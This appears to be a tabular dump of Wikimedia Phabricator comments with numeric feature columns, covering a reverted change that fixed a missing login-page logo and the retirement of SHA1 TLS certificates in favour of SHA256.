331488,wgLogo missing on Login page,Backported and deployed.,,,1411687972,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,True,,,-40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,Backported and deployed.
331482,wgLogo missing on Login page,"Change 163024 merged by jenkins-bot:
Revert ""Set site logo url in ResourceLoaderSiteModule instead of inline styles""

https://gerrit.wikimedia.org/r/163024",,,1411686201,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,False,,,-40,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,0.9583333333333334,"Change 163024 merged by jenkins-bot:
Revert ""Set site logo url in ResourceLoaderSiteModule instead of inline styles""

GERRIT_URL"
331478,wgLogo missing on Login page,"Change 163021 merged by jenkins-bot:
Revert ""Use mw-wiki-logo class instead of inline background-image""

https://gerrit.wikimedia.org/r/163021",,,1411685998,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,False,,,-40,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8518518518518516,0.8518518518518519,"Change 163021 merged by jenkins-bot:
Revert ""Use mw-wiki-logo class instead of inline background-image""

GERRIT_URL"
331473,wgLogo missing on Login page,"Change 163020 merged by jenkins-bot:
Revert ""Use mw-wiki-logo class instead of inline background-image""

https://gerrit.wikimedia.org/r/163020",,,1411680711,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,False,,,-40,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8518518518518516,0.8518518518518519,"Change 163020 merged by jenkins-bot:
Revert ""Use mw-wiki-logo class instead of inline background-image""

GERRIT_URL"
331468,wgLogo missing on Login page,"Change 163023 merged by jenkins-bot:
Revert ""Set site logo url in ResourceLoaderSiteModule instead of inline styles""

https://gerrit.wikimedia.org/r/163023",,,1411680707,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,False,,,-40,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,0.9583333333333334,"Change 163023 merged by jenkins-bot:
Revert ""Set site logo url in ResourceLoaderSiteModule instead of inline styles""

GERRIT_URL"
331464,wgLogo missing on Login page,Lego: Wanna do this at 4 today?,,,1411679918,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,True,,,-40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,1.0,Lego: Wanna do this at 4 today?
331460,wgLogo missing on Login page,"Change 163024 had a related patch set uploaded by Legoktm:
Revert ""Set site logo url in ResourceLoaderSiteModule instead of inline styles""

https://gerrit.wikimedia.org/r/163024",,,1411679900,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,False,,,-40,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.851851851851852,0.9629629629629629,"Change 163024 had a related patch set uploaded by Legoktm:
Revert ""Set site logo url in ResourceLoaderSiteModule instead of inline styles""

GERRIT_URL"
331456,wgLogo missing on Login page,"Change 163023 had a related patch set uploaded by Legoktm:
Revert ""Set site logo url in ResourceLoaderSiteModule instead of inline styles""

https://gerrit.wikimedia.org/r/163023",,,1411679844,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,False,,,-40,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.851851851851852,0.9629629629629629,"Change 163023 had a related patch set uploaded by Legoktm:
Revert ""Set site logo url in ResourceLoaderSiteModule instead of inline styles""

GERRIT_URL"
331451,wgLogo missing on Login page,"Change 163021 had a related patch set uploaded by Legoktm:
Revert ""Use mw-wiki-logo class instead of inline background-image""

https://gerrit.wikimedia.org/r/163021",,,1411679721,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,False,,,-40,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.033333333333333,0.9,"Change 163021 had a related patch set uploaded by Legoktm:
Revert ""Use mw-wiki-logo class instead of inline background-image""

GERRIT_URL"
331446,wgLogo missing on Login page,"Change 163020 had a related patch set uploaded by Legoktm:
Revert ""Use mw-wiki-logo class instead of inline background-image""

https://gerrit.wikimedia.org/r/163020",,,1411679659,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,False,,,-40,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.033333333333333,0.9,"Change 163020 had a related patch set uploaded by Legoktm:
Revert ""Use mw-wiki-logo class instead of inline background-image""

GERRIT_URL"
331440,wgLogo missing on Login page,Caused by: https://gerrit.wikimedia.org/r/#/c/98356/,,,1411679124,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,True,,,-40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Caused by: URL
331434,wgLogo missing on Login page,"I see it in MonoBook, not in Vector though...",,,1411678781,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,True,,,-40,True,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,18.0,18.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3636363636363638,0.9090909090909091,"I see it in MonoBook, not in Vector though..."
73156,Replace SHA1 certificates with SHA256,"SHA1 certificates still existing in our repo (as of 2015-05-29):

Intermediary SHA1 certificates (some of these will cease use when SHA1 certs are replaced, some won't, need to note which):

[ ] - (*.planet.wikimedia.org uses this) DigiCertHighAssuranceCA-3.crt
[ ] - RapidSSL_CA.crt - all rapidssl certs in sha256 appear to use RapidSSL_SHA256_CA_-_G3.crt.  Once all sha1 rapidssl are replaced, this can be removed from the repo


Completed:

[x] - civicrm T104378 (reissue complete, pending service implementation)
[x] - frdata T104378 (reissue complete, pending service implementation)
[x] - fundraising T104378 (reissue complete, pending service implementation)
[x] - payments-listener T104378 (reissue complete, pending service implementation)
[x] - RapidSSL_CA_2 - all rapidssl certs in sha256 appear to use RapidSSL_SHA256_CA_-_G3.crt.  Once all sha1 rapidssl are replaced, this can be removed from the repo (this was gone before robh could get to it)
[x] - ldap-mirror.wikimedia.org.crt T105187
[x] - star.planet.wikimedia.org.crt 
[x] - ganglia.wikimedia.org.crt T100825
[x] - git.wikimedia.org.crt T100827
[x] - icinga.wikimedia.org.crt T100830
[x] - librenms.wikimedia.org.crt T100831
[x] - lists.wikimedia.org.crt T100832
[x] - svn.wikimedia.org.crt - expired
[x] - tendril.wikimedia.org.crt T100835
[*] - ticket.wikimedia.org.crt T91504 T104634
[x] - star.wmflabs.crt :  T104017
[x] - star.wmflabs.org.crt : T104017
[x] - wikitech.wikimedia.org.crt T92709



",High,80.0,1411431840,1436892871.0,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_description,resolved,True,c3,1,True,False,True,-41,True,2.0,0.0,0.0,2.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,4.333333333333333,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,2.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,9.333333333333334,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,2.0,9.333333333333334,0.3333333333333333,0.3333333333333333,4.666666666666667,0.0,0.0,0.0,0.0,5.0,0.0,1.3333333333333333,0.0,1.0,4.333333333333333,8.666666666666666,0.0,0.0,0.0,1.0,0.0,0.6666666666666666,0.0,0.0,2.0,0.0,0.0,20.333333333333332,4.524305555555555,0.5069444444444444,"SHA1 certificates still existing in our repo (as of 2015-05-29):

Intermediary SHA1 certificates (some of these will cease use when SHA1 certs are replaced, some won't, need to note which):

[ ] - (*.planet.wikimedia.org uses this) DigiCertHighAssuranceCA-3.crt
[ ] - RapidSSL_CA.crt - all rapidssl certs in sha256 appear to use RapidSSL_SHA256_CA_-_G3.crt.  Once all sha1 rapidssl are replaced, this can be removed from the repo


Completed:

[x] - civicrm T104378 (reissue complete, pending service implementation)
[x] - frdata T104378 (reissue complete, pending service implementation)
[x] - fundraising T104378 (reissue complete, pending service implementation)
[x] - payments-listener T104378 (reissue complete, pending service implementation)
[x] - RapidSSL_CA_2 - all rapidssl certs in sha256 appear to use RapidSSL_SHA256_CA_-_G3.crt.  Once all sha1 rapidssl are replaced, this can be removed from the repo (this was gone before robh could get to it)
[x] - ldap-mirror.wikimedia.org.crt T105187
[x] - star.planet.wikimedia.org.crt 
[x] - ganglia.wikimedia.org.crt T100825
[x] - git.wikimedia.org.crt T100827
[x] - icinga.wikimedia.org.crt T100830
[x] - librenms.wikimedia.org.crt T100831
[x] - lists.wikimedia.org.crt T100832
[x] - svn.wikimedia.org.crt - expired
[x] - tendril.wikimedia.org.crt T100835
[*] - ticket.wikimedia.org.crt T91504 T104634
[x] - star.wmflabs.crt :  T104017
[x] - star.wmflabs.org.crt : T104017
[x] - wikitech.wikimedia.org.crt T92709



"
491375,Replace SHA1 certificates with SHA256,"So the symlink in /etc/ssl/RapidSSL_CA.pem was leftover, as update-ca-certificates didn't fire off (via config/script) after file removal.

Brandon fixed the config to fire an update:  https://gerrit.wikimedia.org/r/#/c/224639/  

The fix is live and applying to systems.  Resolving task.",,,1436892861,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,2.0,3.0,3.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,10.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,3.706896551724138,0.8103448275862069,"So the symlink in /etc/ssl/RapidSSL_CA.pem was leftover, as update-ca-certificates didn't fire off (via config/script) after file removal.

Brandon fixed the config to fire an update:  URL  

The fix is live and applying to systems.  Resolving task."
490168,Replace SHA1 certificates with SHA256,"First of two patchsets is merged, I'll follow up on this in a day or so to ensure its been properly removed via puppet.",,,1436547691,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,11.0,22.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,7.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,7.0,22.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,1.0,"First of two patchsets is merged, I'll follow up on this in a day or so to ensure its been properly removed via puppet."
490166,Replace SHA1 certificates with SHA256,"My patchset was incorrect, as I simply removed the file from the repo, and removed the stanza from certificates.pp entirely.

I've changed it now to work as Brandon suggested on the patchset, since he just did this work with the globaltrust certificate in the repo.",,,1436547568,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,6.0,0.0,8.0,17.0,0.0,2.0,0.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,8.0,2.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,10.0,17.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.269230769230769,0.7115384615384616,"My patchset was incorrect, as I simply removed the file from the repo, and removed the stanza from certificates.pp entirely.

I've changed it now to work as Brandon suggested on the patchset, since he just did this work with the globaltrust certificate in the repo."
489391,Replace SHA1 certificates with SHA256,"I've confirmed with Jeff that he doesn't use any copies of the rapidssl SHA1 intermediary cert from our public repo (he has his own copy in frack repo).

As such, I've submitted https://gerrit.wikimedia.org/r/#/c/223816/ to remove the rapidssl sha1 intermediary certificates.  My patchset (presently) removes the file, as well as updating certificates.pp to remove its references.  I think this is enough, but since it isn't a rush, I'd like to have either Brandon or Faidon confirm.  (Since they are the ones most familar with those scripts, being the ones who merged and submitted it in the first place ;)",,,1436458662,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,3,True,,,1,True,0.5,0.0,0.0,0.0,1.5,5.5,3.5,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.5,0.0,4.5,9.5,0.0,2.0,0.0,1.5,0.0,1.5,1.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,2.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,11.5,1.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,1.5,0.0,1.0,0.0,5.0,3.5,7.5,2.0,3.5,7.0,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,8.5,9.5,3.0,0.0,0.0,0.0,8.5,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,3.900409836065574,0.8099726775956284,"I've confirmed with Jeff that he doesn't use any copies of the rapidssl SHA1 intermediary cert from our public repo (he has his own copy in frack repo).

As such, I've submitted URL to remove the rapidssl sha1 intermediary certificates.  My patchset (presently) removes the file, as well as updating certificates.pp to remove its references.  I think this is enough, but since it isn't a rush, I'd like to have either Brandon or Faidon confirm.  (Since they are the ones most familar with those scripts, being the ones who merged and submitted it in the first place ;)"
488742,Replace SHA1 certificates with SHA256,"The ldap-mirror.wikimedia.org is not a RapidSSL certificate; so I've asked Jeff on the fr-certs sub-ticket to confirm he doesn't need the copies in our main repo. T104378

Additionally, sub-task T105187 for ldap-mirror needs to confirm that is indeed a self-signed, and not using rapidssl.

I'm being overly cautious about the above, as I'm 99.999% certain we could get rid of both intermediaries this second and not have any problems.  However, there isn't a rush on deleting them entirely from the repo just yet, so we can wait for confirmation.

Once the above conditions are met; I'll git rm RapidSSL_CA.crt and RapidSSL_CA_2",,,1436375391,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,3,True,,,0,True,1.0,0.0,1.0,1.0,3.0,4.5,1.5,0.0,0.0,0.0,2.0,4.0,0.0,0.0,1.0,4.5,0.0,9.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.5,1.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,1.0,1.5,0.0,0.0,0.0,0.0,0.0,11.5,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,5.5,3.0,8.5,1.0,2.0,8.5,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,6.0,8.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,1.0,1.5,0.5,0.0,0.0,4.000565355042967,0.8198778833107192,"The ldap-mirror.wikimedia.org is not a RapidSSL certificate; so I've asked Jeff on the fr-certs sub-ticket to confirm he doesn't need the copies in our main repo. T104378

Additionally, sub-task T105187 for ldap-mirror needs to confirm that is indeed a self-signed, and not using rapidssl.

I'm being overly cautious about the above, as I'm 99.999% certain we could get rid of both intermediaries this second and not have any problems.  However, there isn't a rush on deleting them entirely from the repo just yet, so we can wait for confirmation.

Once the above conditions are met; I'll git rm RapidSSL_CA.crt and RapidSSL_CA_2"
488413,Replace SHA1 certificates with SHA256,"I still need to investigate/replace use of the ldap-mirror certificate (need to coordinate, as last time this happened it was tricky getting the ldap service to recognize the update correctly.)

Once that and the fundraising sub-task are complete, the old rapidssl sha1 intermediate certificates can be removed from our repo.",,,1436321002,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,2.0,0.0,10.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,2.0,5.0,11.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,22.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,3.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,4.396825396825397,0.8253968253968254,"I still need to investigate/replace use of the ldap-mirror certificate (need to coordinate, as last time this happened it was tricky getting the ldap service to recognize the update correctly.)

Once that and the fundraising sub-task are complete, the old rapidssl sha1 intermediate certificates can be removed from our repo."
484482,Replace SHA1 certificates with SHA256,I'm not quite certain about the existence or replacement of the fundraising related certificates.  Perhaps @Jgreen can advise?,,,1435693008,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.380952380952381,0.9523809523809523,I'm not quite certain about the existence or replacement of the fundraising related certificates.  PerhapsSCREEN_NAME can advise?
478688,Replace SHA1 certificates with SHA256,">>! In T73156#1383664, @Dzahn wrote:
> so all is left here is OTRS it seems

WMF Labs, Planet, and the domains mentioned by @JGreen, civicrm, frdata, fundraising, payments-listener are still using SHA1. 

